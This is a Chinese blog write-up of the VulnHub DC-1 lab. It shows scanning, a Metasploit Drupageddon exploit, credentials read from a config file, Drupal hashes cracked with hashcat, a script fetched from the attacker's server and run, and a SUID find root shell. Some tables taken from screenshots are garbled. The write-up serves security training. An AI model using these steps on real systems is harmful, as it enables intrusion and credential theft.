# vulnhub靶机-DC1-Writeup

# 含日 ● 于 2021-12-08 17:10:56 发布 ● 883 ◆ 收藏 分类专栏: <u>靶机</u> 文章标签: <u>网络 安全 web安全 渗透测试</u> 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/liuhanzhe/article/details/121795060</u> 版权



靶机 专栏收录该内容

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0x01部署

靶机地址:

https://www.vulnhub.com/entry/dc-1,292/

根据靶机说明,需要找到5个flag

下载镜像,使用vmware打开,网络选择NAT模式

# 0x02信息收集

nmap扫描网段

nmap -sP 192.168.190.0/24

```
(liuhanzhe@kali)-[~]
$ nmap -sP 192.168.190.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 17:37 CST
Nmap scan report for 192.168.190.2
Host is up (0.0012s latency).
Nmap scan report for 192.168.190.129
Host is up (0.0065s latency).
Nmap scan report for 192.168.190.134
Host is up (0.0024s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 5.25 seconds
```

发现目标IP: 192.168.190.134

进一步扫描端口

nmap -T5 -A -v -p- 192.168.190.134

扫描结果:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 17:38 CST Happy 24th Birthday to Nmap, may it live to be 124! NSE: Loaded 153 scripts for scanning. NSE: Script Pre-scanning.

Completed NSE at 17:38, 0.00s elapsed Initiating NSE at 17:38 Completed NSE at 17:38, 0.00s elapsed Initiating NSE at 17:38 Completed NSE at 17:38, 0.00s elapsed Initiating Ping Scan at 17:38 Scanning 192.168.190.134 [2 ports] Completed Ping Scan at 17:38, 0.00s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 17:38 Completed Parallel DNS resolution of 1 host. at 17:38, 0.00s elapsed Initiating Connect Scan at 17:38 Scanning 192.168.190.134 [65535 ports] Discovered open port 80/tcp on 192.168.190.134 Discovered open port 22/tcp on 192.168.190.134 Discovered open port 111/tcp on 192.168.190.134 Discovered open port 48247/tcp on 192.168.190.134 Completed Connect Scan at 17:38, 2.57s elapsed (65535 total ports) Initiating Service scan at 17:38 Scanning 4 services on 192.168.190.134 Completed Service scan at 17:38, 11.01s elapsed (4 services on 1 host) NSE: Script scanning 192.168.190.134. Initiating NSE at 17:38 Completed NSE at 17:39, 1.62s elapsed Initiating NSE at 17:39 Completed NSE at 17:39, 0.11s elapsed Initiating NSE at 17:39 Completed NSE at 17:39, 0.00s elapsed Nmap scan report for 192.168.190.134 Host is up (0.00019s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) ssh-hostkey: 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA) 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA) 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) \_http-favicon: Unknown favicon MD5: B6341DFC213100C61DB4FB8775878CEC \_http-generator: Drupal 7 (http://drupal.org) http-methods: Supported Methods: GET HEAD POST OPTIONS http-robots.txt: 36 disallowed entries (15 shown) /includes/ /misc/ /modules/ /profiles/ /scripts/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt \_/LICENSE.txt /MAINTAINERS.txt \_http-server-header: Apache/2.2.22 (Debian) \_http-title: Welcome to Drupal Site | Drupal Site 111/tcp open rpcbind 2-4 (RPC #100000) rpcinfo: program version port/proto service 100000 2,3,4 111/tcp rpcbind 100000 2,3,4 111/udp rpcbind 100000 3,4 111/tcp6 rpcbind 100000 3,4 111/udp6 rpcbind 100024 1 100024 1 47802/tcp6 status

48247/tcp status

58175/udp6 status

100024 1

100024 1

48247/tcp open status 1 (RPC #100024) Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel NSE: Script Post-scanning. Initiating NSE at 17:39 Completed NSE at 17:39, 0.00s elapsed Initiating NSE at 17:39, 0.00s elapsed Completed NSE at 17:39, 0.00s elapsed Initiating NSE at 17:39, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.83 seconds

发现80端口,且运行的是Drupal

## **0x03 漏洞利用**

使用浏览器访问目标机80端口,确定运行Drupal

Drupal存在已知的可利用漏洞:已知Drupal漏洞,使用msf搜索drupal



尝试使用后,使用 exploit/multi/http/drupal\_drupageddon 获得metaerpreter shell



### flag1

执行 1s 发现flag1.txt, 查看内容

<pre>meterpreter &gt; pwd //war/www</pre>					
/var/www					
listing: /var/www					
Mode	Size	Туре	Last modified	Name	
<u> </u>					
100644/rw-rr	174	fil	2013-11-21 04:45:59 +0800	.gitignore	
100644/rw-rr	5767	fil	2013-11-21 04:45:59 +0800	.htaccess	
100644/rw-rr	1481	fil	2013-11-21 04:45:59 +0800	COPYRIGHT.txt	
100644/rw-rr	1451	fil	2013-11-21 04:45:59 +0800	INSTALL.mysql.txt	
100644/rw-rr	1874	fil	2013-11-21 04:45:59 +0800	INSTALL.pgsql.txt	
100644/rw-rr	1298	fil	2013-11-21 04:45:59 +0800	INSTALL.sqlite.txt	
100644/rw-rr	17861	fil	2013-11-21 04:45:59 +0800	INSTALL.txt	
100755/rwxr-xr-x	18092	fil	2013-11-01 18:14:15 +0800	LICENSE.txt	
100644/rw-rr	8191	fil	2013-11-21 04:45:59 +0800	MAINTAINERS.txt	
100644/rw-rr	5376	fil	2013-11-21 04:45:59 +0800	README.txt	
100644/rw-rr	9642	fil	2013-11-21 04:45:59 +0800	UPGRADE.txt	
100644/rw-rr	6604	fil	2013-11-21 04:45:59 +0800	authorize.php	
100644/rw-rr	720	fil	2013-11-21 04:45:59 +0800	cron.php	
100644/rw-rr	52	fil	2019-02-19 21:20:46 +0800	flag1.txt	
40755/rwxr-xr-x	4096	dir	2013-11-21 04:45:59 +0800	includes	
100644/rw-rr	529	fil	2013-11-21 04:45:59 +0800	index.php	
100644/rw-rr	703	fil	2013-11-21 04:45:59 +0800	install.php	
40755/rwxr-xr-x	4096	dir	2013-11-21 04:45:59 +0800	misc	
40755/rwxr-xr-x	4096	dir	2013-11-21 04:45:59 +0800	modules	
40755/rwxr-xr-x	4096	dir	2013-11-21 04:45:59 +0800	profiles	
100644/rw-rr	1561	fil	2013-11-21 04:45:59 +0800	robots.txt	
40755/rwxr-xr-x	4096	dir	2013-11-21 04:45:59 +0800	scripts	
40755/rwxr-xr-x	4096	dir	2013-11-21 04:45:59 +0800	sites	
40755/rwxr-xr-x	4096	dir	2013-11-21 04:45:59 +0800	themes	
100644/rw-rr	19941	fil	2013-11-21 04:45:59 +0800	update.php	
100644/rw-rr	2178	fil	2013-11-21 04:45:59 +0800	web.config	
100644/rw-rr	417	fil	2013-11-21 04:45:59 +0800	xmlrpc.php	
<pre>meterpreter &gt; cat flag1.txt</pre>					
Every good CMS_nee	eds a c	onfig	file - and so do you.	CSDN @刘晔哲	
<pre>meterpreter &gt;</pre>					

# flag2

根据flag1的内容, flag可能在drupal的配置文件中,执行 shell 获取shell后,执行 grep -Rn "flag2" \* 发现flag2 在 sites/default/settings.php 第5行,查看flag

```
grep -Rn "flag2" *
sites/default/settings.php:5: * flag2
cat sites/default/settings.php
<?php
/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */
$databases = array (
  'default' ⇒
  array (
  'default' ⇒
  array (
  'default' ⇒
  'drupaldb',
  'username' ⇒ 'dbuser',
  'password' ⇒ 'R0ck3t',
  'host' ⇒ 'localhost',
  'port' ⇒ '',
  'driver' ⇒ 'mysql',
  'prefix' ⇒ '',
  ),
 );
 CSDN @刘晗哲</pre>
```

## flag3

flag2提示要通过认证,但是暴力破解不是唯一的方法。配置文件flag2的下面就是数据库配置,考虑通过进入数据库查看账号密码。

获取交互shell

python -c 'import pty; pty.spawn("/bin/sh")'

通过 mysql -u dbuser -p 链接数据库



进入drupaldb库, 查看所有表

#### use drupaldb

#### show tables

+ <u></u>
Tables_in_drupaldb
+
actions
authmap
batch
block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
cache_update
cache_views
cache_views_data
comment
ctools_css_cache
ctools_object_cache

date\_format\_locale date\_format\_type date\_formats field\_config field\_config\_instance field\_data\_body field\_data\_comment\_body field\_data\_field\_image field\_data\_field\_tags field\_revision\_body field\_revision\_comment\_body field\_revision\_field\_image field\_revision\_field\_tags file\_managed file\_usage filter\_format history image\_effects image\_styles menu custom menu links menu\_router node access node\_comment\_statistics node\_revision node\_type rdf\_mapping registry registry\_file role\_permission search dataset search\_index search\_node\_links search\_total semaphore sequences shortcut set shortcut\_set\_users system taxonomy index taxonomy\_term\_data taxonomy\_term\_hierarchy taxonomy\_vocabulary url alias users users\_roles variable views\_display watchdog

#### 发现user表,查看表中信息

mysql selec	mysql> select * from users; select * from users;												
uid guage	name pictu	pass ure   init	++   data	mail	theme	signature	signature_format	created	access	login	status	timezone	lan
- 0	i Iaravel.		++			l	NULL	0	0	0	0	NULL	
(1	admin	n   \$S\$DvQI6Y600iN 0   admin@exampl	NEXRIEEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR Ne.com   b:0:	admin@example.com		l I	NULL	1550581826	1550583852	1550582362	1	Australia/Melbourne	
2	Fred	\$S\$DWGrxef6.D0 0   fred@example	<pre>DowB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg e.org   b:0;  </pre>	fred@example.org		l	filtered_html	1550581952	1550582225	1550582225	1	Australia/Melbourne	
+	-+ s in set	-+				•	teren filo	+	+			+ CSDN @文川	 含哲

这里通过hashcat破解密码,字典使用kali的rockyou.txt。

hashcat使用介绍: hashcat使用

查询Drupal模式id

(root kali)-[/home/liuhanzhe]			
7900   Drupal7	Forums,	CMS,	E-Commerce

执行破解

echo "\\$S\\$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" > hash.txt echo "\\$S\\$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg" >> hash.txt hashcat -m 7900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

耗时一小时40分钟破解完成,获得admin密码53cr3t,Fred密码MyPassword

\$S\$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg:MyPassword \$S\$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR:53cr3t					
Session: hashcat Status: Cracked Hash.Name: Drupal7 Hash.Target: hash.txt Time.Started: Thu Sep 2 18:36:00 2021 (1 hour, 36 mins) Time.Estimated: Thu Sep 2 20:12:13 2021 (0 secs) Guess.Base: File (rockyou.txt) Guess.Queue: 1/1 (100.00%)					
<pre>Speed.#1: 481 H/s (8.21ms) @ Accel:32 Loops:1024 Thr:1 V Recovered: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts Progress: 4482944/28688754 (15.63%) Rejected: 0/4482944 (0.00%) Restore.Point: 2241408/14344377 (15.63%) Restore.Sub.#1: Salt:0 Amplifier:0-1 Iteration:31744-32768 Candidates.#1: 540007 → 53914422</pre>	'ec				
Started: Thu Sep 2 18:35:59 2021 Stopped: Thu Sep 2 20:12:15 2021					
(root@ kali)-[~/vulnhub] # hashcat -m 7900 -a 0 <u>hash.txt</u> rockyou.txt show \$\$\$DvQI6Y6600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR:53cr3t \$\$\$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg:MyPassword					
<mark>「root ⊗ kali</mark> )-[~/vulnhub] CSDN @刘晗哲					

# flag3

View Edit

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

CSDN @刘晗哲

## flag4

根据flag3的提示, cat /etc/passwd



发现flag4用户,查看home下存在flag4.txt,查看内容获得flag4



# flag5

根据flag4提示,通过同样方法在root下获取flag,尝试没有权限

使用LineEnum提权

在kali上下载LineEnum,并启动一个HTTP服务roo

git clone https://github.com/rebootuser/LinEnum.git cd LinEnum python -m SimpleHTTPServer 8080

#### 在目标机上下载LineEnumh后执行

wget http://192.168.190.129:8080/LinEnum.sh bash LinEnum.sh

发现find可以利用

-rwsr-xr-x 1 root root 88744 Dec 10 2012 /bin/mount	
-rwsr-xr-x 1 root root 31104 Apr 13 2011 /bin/ping	
-rwsr-xr-x 1 root root 35200 Feb 27 2017 /bin/su	
-rwsr-xr-x 1 root root 35252 Apr 13 2011 /bin/ping6	
-rwsr-xr-x 1 root root 67704 Dec 10 2012 /bin/umount	
-rwsr-sr-x 1 daemon daemon 50652 Oct 4 2014 /usr/bin/at	
-rwsr-xr-x 1 root root 35892 Feb 27 2017 /usr/bin/chsh	
-rwsr-xr-x 1 root root 45396 Feb 27 2017 /usr/bin/passwd	
-rwsr-xr-x 1 root root 30880 Feb 27 2017 /usr/bin/newgrp	
-rwsr-xr-x 1 root root 44564 Feb 27 2017 /usr/bin/chfn	
-rwsr-xr-x 1 root root 66196 Feb 27 2017 /usr/bin/gpasswd	
-rwsr-sr-x 1 root mail 83912 Nov 18 2017 /usr/bin/procmail	
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find	
-rwsr-xr-x 1 root root 937564 Feb 11 2018 /usr/sbin/exim4	
-rwsr-xr-x 1 root root 9660 Jun 20 2017 /usr/lib/pt chown	
-rwsr-xr-x 1 root root 248036 Jan 27 2018 /usr/lib/openss	n/ssh-kevsign
-rwsr-xr-x 1 root root 5412 Mar 28 2017 /usr/lib/eject/dmd	rvpt-get-device
-rwsr-xr 1 root messagebus 321692 Feb 10 2015 /usr/lib/o	dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22 2013 /sbin/mount.nfs	
····· ································	
[+] Possibly interesting SUID files:	
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find	CSDN @刘晗哲
-iwsi-xi-x 1 100t 102424 Jan 0 2012 /usr/bin/find	

执行

#### find . -exec /bin/sh \; -quit

查看权限成功提权



# cd /root
cd /root
# ls
ls
thefinalflag.txt
# cat thefinalflag.txt
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
# CSDN @刘晗哲